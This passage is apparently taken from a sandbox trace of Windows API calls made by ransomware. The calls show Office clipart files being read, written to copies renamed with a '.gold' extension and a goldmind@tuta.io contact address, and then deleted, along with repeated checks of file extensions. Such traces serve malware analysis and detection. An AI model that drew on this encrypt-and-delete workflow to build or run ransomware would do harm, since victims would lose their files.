lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.477] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.477] SetEndOfFile (hFile=0x1b0) returned 1 [0049.477] CloseHandle (hObject=0x1b0) returned 1 [0049.477] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.477] SetEndOfFile (hFile=0x178) returned 1 [0049.478] CloseHandle (hObject=0x178) returned 1 [0049.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0049.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0049.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0049.478] lstrlenW (lpString=".doc") returned 4 [0049.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.478] lstrlenW (lpString=".docx") returned 5 [0049.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.478] lstrlenW (lpString=".pdf") returned 4 [0049.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.478] lstrlenW (lpString=".xls") returned 4 [0049.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.478] lstrlenW (lpString=".xlsx") returned 5 [0049.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.478] lstrlenW (lpString=".ppt") returned 4 [0049.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0049.478] lstrlenW (lpString=".zip") returned 4 [0049.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.478] lstrlenW (lpString=".rar") returned 4 [0049.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.478] lstrlenW (lpString=".bz2") returned 4 [0049.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.478] lstrlenW (lpString=".7z") returned 3 [0049.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0049.478] lstrlenW (lpString=".dbf") returned 4 [0049.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0049.478] lstrlenW (lpString=".1cd") returned 4 [0049.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0049.478] lstrlenW (lpString=".jpg") returned 4 [0049.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0049.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0049.479] lstrlenW (lpString=".doc") returned 4 [0049.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.479] lstrlenW (lpString=".docx") returned 5 [0049.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.479] lstrlenW (lpString=".pdf") returned 4 [0049.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.479] lstrlenW (lpString=".xls") returned 4 [0049.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.479] lstrlenW (lpString=".xlsx") returned 5 [0049.479] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.479] lstrlenW (lpString=".ppt") returned 4 [0049.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0049.479] lstrlenW (lpString=".zip") returned 4 [0049.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.479] lstrlenW (lpString=".rar") returned 4 [0049.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.479] lstrlenW (lpString=".bz2") returned 4 [0049.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.479] lstrlenW (lpString=".7z") returned 3 [0049.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0049.479] lstrlenW (lpString=".dbf") returned 4 [0049.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0049.479] lstrlenW (lpString=".1cd") returned 4 [0049.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0049.479] lstrlenW (lpString=".jpg") returned 4 [0049.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.479] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.479] lstrlenW (lpString="AN04385_.WMF") returned 12 [0049.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.480] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=5004) returned 1 [0049.480] CloseHandle (hObject=0x178) returned 1 [0049.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0049.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.480] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.480] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.480] GetLastError () returned 0x0 [0049.480] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x138c, lpOverlapped=0x0) returned 1 [0049.562] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0049.562] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.562] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.563] SetEndOfFile (hFile=0x1b0) returned 1 [0049.793] CloseHandle (hObject=0x1b0) returned 1 [0049.793] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.793] SetEndOfFile (hFile=0x178) returned 1 [0049.793] CloseHandle (hObject=0x178) returned 1 [0049.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0050.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0050.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0050.690] lstrlenW (lpString=".doc") returned 4 [0050.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0050.690] lstrlenW (lpString=".docx") returned 5 [0050.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0050.690] lstrlenW (lpString=".pdf") returned 4 [0050.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0050.690] lstrlenW (lpString=".xls") returned 4 [0050.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0050.691] lstrlenW (lpString=".xlsx") returned 5 [0050.691] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0050.691] lstrlenW (lpString=".ppt") returned 4 [0050.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0050.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0050.691] lstrlenW (lpString=".zip") returned 4 [0050.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0050.691] lstrlenW (lpString=".rar") returned 4 [0050.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0050.691] lstrlenW (lpString=".bz2") returned 4 [0050.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0050.691] lstrlenW (lpString=".7z") returned 3 [0050.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0050.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0050.691] lstrlenW (lpString=".dbf") returned 4 [0050.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0050.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0050.691] lstrlenW (lpString=".1cd") returned 4 [0050.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0050.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0050.691] lstrlenW (lpString=".jpg") returned 4 [0050.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0050.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0050.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0050.691] lstrlenW (lpString=".doc") returned 4 [0050.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0050.691] lstrlenW (lpString=".docx") returned 5 [0050.691] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0050.691] lstrlenW (lpString=".pdf") returned 4 [0050.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0050.691] lstrlenW (lpString=".xls") returned 4 [0050.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0050.691] lstrlenW (lpString=".xlsx") returned 5 [0050.691] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0050.691] lstrlenW (lpString=".ppt") returned 4 [0050.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0050.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0050.691] lstrlenW (lpString=".zip") returned 4 [0050.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0050.691] lstrlenW (lpString=".rar") returned 4 [0050.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0050.691] lstrlenW (lpString=".bz2") returned 4 [0050.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0050.691] lstrlenW (lpString=".7z") returned 3 [0050.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0050.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0050.691] lstrlenW (lpString=".dbf") returned 4 [0050.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0050.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0050.691] lstrlenW (lpString=".1cd") returned 4 [0050.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0050.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0050.692] lstrlenW (lpString=".jpg") returned 4 [0050.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0050.692] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0050.692] lstrlenW (lpString="BD00155_.WMF") returned 12 [0050.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.035] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=11636) returned 1 [0051.035] CloseHandle (hObject=0x214) returned 1 [0051.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0051.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.043] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.043] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.060] GetLastError () returned 0x0 [0051.062] ReadFile (in: hFile=0x21c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x2d74, lpOverlapped=0x0) returned 1 [0051.066] WriteFile (in: hFile=0x220, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0051.067] ReadFile (in: hFile=0x21c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.067] WriteFile (in: hFile=0x220, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.067] SetEndOfFile (hFile=0x220) returned 1 [0051.067] CloseHandle (hObject=0x220) returned 1 [0051.068] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.068] SetEndOfFile (hFile=0x21c) returned 1 [0051.068] CloseHandle (hObject=0x21c) returned 1 [0051.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0051.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0051.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0051.069] lstrlenW (lpString=".doc") returned 4 [0051.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.069] lstrlenW (lpString=".docx") returned 5 [0051.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.069] lstrlenW (lpString=".pdf") returned 4 [0051.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.069] lstrlenW (lpString=".xls") returned 4 [0051.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.069] lstrlenW (lpString=".xlsx") returned 5 [0051.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.069] lstrlenW (lpString=".ppt") returned 4 [0051.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0051.069] lstrlenW (lpString=".zip") returned 4 [0051.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.069] lstrlenW (lpString=".rar") returned 4 [0051.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.069] lstrlenW (lpString=".bz2") returned 4 [0051.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.069] lstrlenW (lpString=".7z") returned 3 [0051.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0051.069] lstrlenW (lpString=".dbf") returned 4 [0051.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0051.069] lstrlenW (lpString=".1cd") returned 4 [0051.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0051.069] lstrlenW (lpString=".jpg") returned 4 [0051.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0051.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0051.069] lstrlenW (lpString=".doc") returned 4 [0051.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.069] lstrlenW (lpString=".docx") returned 5 [0051.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.069] lstrlenW (lpString=".pdf") returned 4 [0051.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.069] lstrlenW (lpString=".xls") returned 4 [0051.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.069] lstrlenW (lpString=".xlsx") returned 5 [0051.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.070] lstrlenW (lpString=".ppt") returned 4 [0051.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0051.070] lstrlenW (lpString=".zip") returned 4 [0051.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.070] lstrlenW (lpString=".rar") returned 4 [0051.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.070] lstrlenW (lpString=".bz2") returned 4 [0051.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.070] lstrlenW (lpString=".7z") returned 3 [0051.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0051.070] lstrlenW (lpString=".dbf") returned 4 [0051.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0051.070] lstrlenW (lpString=".1cd") returned 4 [0051.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0051.070] lstrlenW (lpString=".jpg") returned 4 [0051.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.070] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.070] lstrlenW (lpString="BD07761_.WMF") returned 12 [0051.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.070] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=26748) returned 1 [0051.070] CloseHandle (hObject=0x21c) returned 1 [0051.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0051.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.071] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.071] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.071] GetLastError () returned 0x0 [0051.071] ReadFile (in: hFile=0x21c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x687c, lpOverlapped=0x0) returned 1 [0051.072] WriteFile (in: hFile=0x220, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x6880, lpOverlapped=0x0) returned 1 [0051.073] ReadFile (in: hFile=0x21c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.073] WriteFile (in: hFile=0x220, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.073] SetEndOfFile (hFile=0x220) returned 1 [0051.074] CloseHandle (hObject=0x220) returned 1 [0051.074] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.074] SetEndOfFile (hFile=0x21c) returned 1 [0051.074] CloseHandle 